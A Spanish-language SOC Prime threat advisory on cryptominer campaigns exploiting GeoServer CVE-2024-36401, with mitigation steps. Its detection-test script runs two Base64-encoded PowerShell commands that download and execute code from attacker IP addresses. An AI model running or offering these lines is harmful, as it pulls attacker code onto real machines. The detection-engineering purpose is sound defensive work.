SOC Prime Bias: Crítico

23 Dec 2025 10:38 UTC

GeoServer Bajo Ataque: Campañas de Malware Minero de Criptomonedas

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
GeoServer Bajo Ataque: Campañas de Malware Minero de Criptomonedas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Los actores de amenazas están explotando la vulnerabilidad de ejecución remota de código de GeoServer CVE-2024-36401 para desplegar mineros de criptomonedas y NetCat en servidores no parcheados. La actividad se basa en PowerShell, Bash y certutil para descargar e iniciar XMRig desde múltiples dominios y direcciones IP maliciosas. Se utilizan varios scripts de descarga y droppers, comúnmente empaquetados en archivos ZIP y persistidos como servicios a través de NSSM. El objetivo principal es apoderarse de recursos de computación para la minería no autorizada.

Investigación

El informe detalla tres variantes (A, B, C) que utilizan PowerShell codificado, fetchers basados en Bash, y certutil para recuperar cargas útiles de mineros desde pool.supportxmr.com y múltiples subdominios aaaaaaaaa.cyou. Los mecanismos de entrega incluyen scripts por lotes, paquetes ZIP y un descargador personalizado llamado systemd, junto con credenciales de autenticación HTTP básica. Los analistas extrajeron indicadores clave—URLs, direcciones IP, y nombres de archivos—para apoyar la detección y alcance.

Mitigación

Aplique parches de GeoServer que abordan CVE-2024-36401 y mantenga las implementaciones en la última versión compatible. Bloquee las conexiones salientes a los pools de minería conocidos y a la infraestructura relacionada, y monitoree ejecuciones sospechosas de PowerShell o Bash codificados. Limite el uso de certutil para contextos no administrativos y haga cumplir la lista de aplicaciones permitidas para evitar servicios no autorizados instalados a través de NSSM.

Respuesta

Implemente detecciones para las líneas de comando observadas, hashes e indicadores de red. Aísle los hosts afectados, erradique los servicios de minería y artefactos de persistencia, y realice un barrido forense para detectar cualquier carga útil secundaria. Rote credenciales expuestas y requiera autenticación multifactorial para acceso administrativo.

Flujo del Ataque

Ejecución de Simulación

Prerequisito: Debe haberse pasado la Verificación de Línea de Base y Telemetría.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    Un atacante ha obtenido una carga útil maliciosa en Base64 que descarga un archivo de configuración de GeoServer vulnerable, lo ejecuta, y luego deja caer un minero de criptomonedas. Para evadir la detección simple de bloqueo de scripts, el atacante utiliza el -enc con un string pre-codificado (uno de los dos IOCs conocidos). El atacante ejecuta la carga útil localmente en un host Windows comprometido, causando una creación de proceso de powershell.exe que incluye exactamente el string Base64 que la regla observa.

  • Script de Prueba de Regresión:

     # -------------------------------------------------
      #  Script de regresión para activar la regla Sigma
      # -------------------------------------------------
      # Carga útil 1 (coincide con el primer IOC)
      $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
      powershell.exe -enc $b64_1
    
      # Carga útil 2 (coincide con el segundo IOC)
      $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
      powershell.exe -enc $b64_2
  • Comandos de Limpieza:

     # -------------------------------------------------
      #  Limpieza – terminar cualquier carga útil persistente de PowerShell
      # -------------------------------------------------
      Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match '-enc' } |
        Stop-Process -Force